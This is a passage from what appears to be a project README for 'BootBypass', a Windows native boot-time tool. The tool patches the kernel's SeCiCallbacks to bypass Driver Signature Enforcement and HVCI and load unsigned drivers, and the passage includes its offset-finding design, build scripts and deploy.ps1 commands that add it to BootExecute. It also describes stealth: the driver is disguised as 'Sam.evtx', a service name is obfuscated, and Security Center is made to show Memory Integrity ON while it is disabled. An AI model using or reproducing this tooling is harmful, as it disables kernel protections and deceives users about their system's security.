    if not is_writable_data(target_rva, sections):
        continue
    # Search backwards for matching LEA to target_rva + 4
    # Score the candidate by zeroing window, qword proximity, size match

The prototype went through three iterations:

  • v1 — single tight byte pattern near SepInitializeCodeIntegrity. Too brittle across compiler versions.
  • v2 — hybrid: fast path (precise manual decode of C7 05 + nearby 48 C7 05) + structural scan using .pdata RUNTIME_FUNCTION bounds as function delimiters.
  • v3 — scoring system + legacy anchor fallback: multiple independent signals weighted by confidence; minimum threshold prevents false positives; RS1/RS2 fallback on the 0x108 flags store for builds where the zeroing pattern is absent.

Validated output on a local build:

Offset_SeCiCallbacks = 0xF047A0
Offset_SafeFunction  = 0x6A7760
Offset_Callback      = 0x20

Stage 3 — Port to C (OffsetFinder.c). The Python algorithm was ported to pure C with no CRT dependency, operating directly on a memory-mapped copy of ntoskrnl.exe loaded via NtReadFile. The three-phase strategy (Fast → Structural → Legacy) maps 1:1 to the Python prototype. The scoring engine (ScoreZeroingWindow, FindRuntimeFunctionBounds, FindNearbyQwordStore) is identical to v3. Minimum score threshold: 110 points. Observed scores on correct candidates: 120–185 points. Coverage: Windows 10 1607 (RS1) through current.

The ZwFlushInstructionCache RVA is found by a simple export table name scan — it is a public export, present on all builds, resolved without any heuristic.


13. Module Reference

Module Responsibility
BootManager.c NtProcessStartup entry, privilege setup, INI load, HVCI check gate, ExtractBbsAndRegisterService call, entry dispatch loop
SecurityPatcher.c WriteMemory32/64, ReadMemory64, GetNtoskrnlBase, OpenDriverDevice, ExecuteAutoPatchLoad, SaveStateSection, LoadStateSection, RemoveStateSection
OffsetFinder.c PE parser (ParsePe, FindExportRva), three-phase heuristic scanner (FindKernelOffsetsLocally), scoring engine (ScoreZeroingWindow), exception directory walker (FindRuntimeFunctionBounds)
SetupManager.c FindResourceData, ExtractkvcFromResource, ExtractBbsAndRegisterService, Cleanupkvc, PatchSystemHiveHVCI, CheckAndDisableHVCI, RestoreHVCI, SetHVCIRegistryFlag, GetBootTimeUtc
DriverManager.c LoadDriver (registry key creation + NtLoadDriver), UnloadDriver, IsDriverLoaded
FileManager.c ExecuteRename (NtSetInformationFile + FILE_RENAME_INFORMATION), ExecuteDelete (FILE_DISPOSITION_INFORMATION), recursive directory delete
SystemUtils.c memset_impl, wcslen, wcscpy_safe, wcscat_safe, wcscat_check, _wcsicmp_impl, TrimString, ULONGLONGToHexString, StringToULONGLONG, DisplayMessage, DisplayAlwaysMessage, DisplayStatus, AllocateZeroedBuffer, FreeAllocatedBuffer, ReadIniFile, ParseIniFile, FreeIniFileBuffer, QuerySystemModuleInformation
MmPoolTelemetry.asm MmGetPoolDiagnosticString — runtime decoder for bypass driver service name
bbs.asm HvciShutdownSvc service binary (~4 KB, pure MASM): main (load advapi32+ntdll, start SCM dispatcher), SvcMain, SvcCtrlHandler, DoStartupAction (write Enabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTime), DoShutdownAction (write Enabled=0), ShutdownThread

14. Build System

13.1 Project

Visual Studio 2022, BootBypass.vcxproj. Configuration: Release | x64.

Key project settings:

  • Runtime library: none (/NODEFAULTLIB)
  • Subsystem: Native
  • Entry point: NtProcessStartup
  • Additional dependencies: ntdll.lib
  • Enable assembly: MASM (ml64.exe) for MmPoolTelemetry.asm

13.2 Build Script (build.ps1)

build.ps1 builds the Visual Studio project and copies the output bb.exe to data\. Run from the repo root in an elevated Developer PowerShell:

.\build.ps1

13.3 Driver Resource Preparation (compress_idr.ps1)

Run whenever either kvc.sys or bbs.exe changes. Processes both resources in a single invocation and auto-patches all four #define constants in SetupManager.c:

.\compress_idr.ps1

Default paths (relative to repo root): rsc\kvc.syssrc\IDR_DRV1, rsc\bbs.exesrc\IDR_DRV2.

Override paths explicitly if needed:

.\compress_idr.ps1 -InputSys src\kvc.sys -OutputFile src\IDR_DRV1 `
                   -InputBbs rsc\bbs.exe  -OutputFile2 src\IDR_DRV2 `
                   -SetupManager src\SetupManager.c

Output example:

--- IDR_DRV1 (kvc.sys) ---
Input  : 14024 bytes  (rsc\kvc.sys)
Output : 9139 bytes   (src\IDR_DRV1)  [-34.8%]

--- IDR_DRV2 (bbs.exe) ---
Input  : 4096 bytes   (rsc\bbs.exe)
Output : 1759 bytes   (src\IDR_DRV2)  [-57.1%]

SetupManager.c updated:
  kvc_SIZE              = 9139
  kvc_UNCOMPRESSED_SIZE = 14024
  bbs_SIZE              = 1759
  bbs_UNCOMPRESSED_SIZE = 4096

All four constants are patched in-place with whitespace alignment preserved. Rebuild after running the script.


15. Deployment

14.1 deploy.ps1

Run from an elevated PowerShell session. The script:

  1. Copies bb.exe to %SystemRoot%\System32\bb.exe.
  2. Reads drivers.ini, optionally replaces ImagePath with the value from -TargetDriverNtPath.
  3. Writes the (possibly modified) INI to %SystemRoot%\drivers.ini as UTF-16 LE.
  4. Appends bb to HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute (REG_MULTI_SZ), preserving the existing autocheck autochk * entry.
# Deploy — inject real driver NT path
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys"

# Deploy with force (no confirmation prompt)
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -Force

# Preview all actions without modifying the system
.\deploy.ps1 -TargetDriverNtPath "\SystemRoot\System32\drivers\omnidriver.sys" -WhatIf

# Remove all traces (BootExecute entry, bb.exe, drivers.ini)
.\deploy.ps1 -Remove

-TargetDriverNtPath must use an NT-style path beginning with \ and without a drive letter.
Example: \SystemRoot\System32\drivers\omnidriver.sys

14.2 Operation Sequence

1. Run deploy.ps1             → installs bb.exe + drivers.ini + BootExecute entry
2. Reboot                     → SMSS executes bb.exe before any Win32 process
3. bb.exe runs:
   a. Read/parse drivers.ini
   b. If offsets missing → scan ntoskrnl.exe (Fast → Structural → Legacy, 1607+)
   c. If HVCI enabled → patch SYSTEM hive → reboot (one reboot only)
   d. Extract bbs.exe (IDR_DRV2) → System32\bbs.exe
      Register HVCIShutdownSvc (AUTO_START) in SCM registry
   e. Extract kvc.sys (IDR_DRV1) → Sam.evtx
   f. Load bypass driver → patch SeCiCallbacks+0x20
   g. Load unsigned target driver
   h. Restore SeCiCallbacks → unload bypass driver → delete Sam.evtx
   i. If RestoreHVCI=YES → PatchSystemHiveHVCI(TRUE) + SetHVCIRegistryFlag(TRUE)
4. Windows continues booting  → SCM starts HvciShutdownSvc
   → DoStartupAction: Enabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTime
   → Security Center slider: Memory Integrity ON (right)
5. Target driver running
6. Verify: sc query <ServiceName>   → STATE: 4 RUNNING
7. At shutdown: DoShutdownAction writes Enabled=0
   → next boot cycle ready for driver operations without a second reboot

Responsible Use

This tool is intended exclusively for authorized security research, driver development, and educational purposes in controlled environments. Use only on systems you own or have explicit written permission to test.


© 2026 Marek Wesołowski (WESMAR)

About

Advanced native-mode utility for bypassing DSE and HVCI. Implements smart SeCiCallbacks patching and independent management of Memory Integrity settings. Operating as a subsystem:native app, it ensures early-phase control and environment preparation for security research and driver development.

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors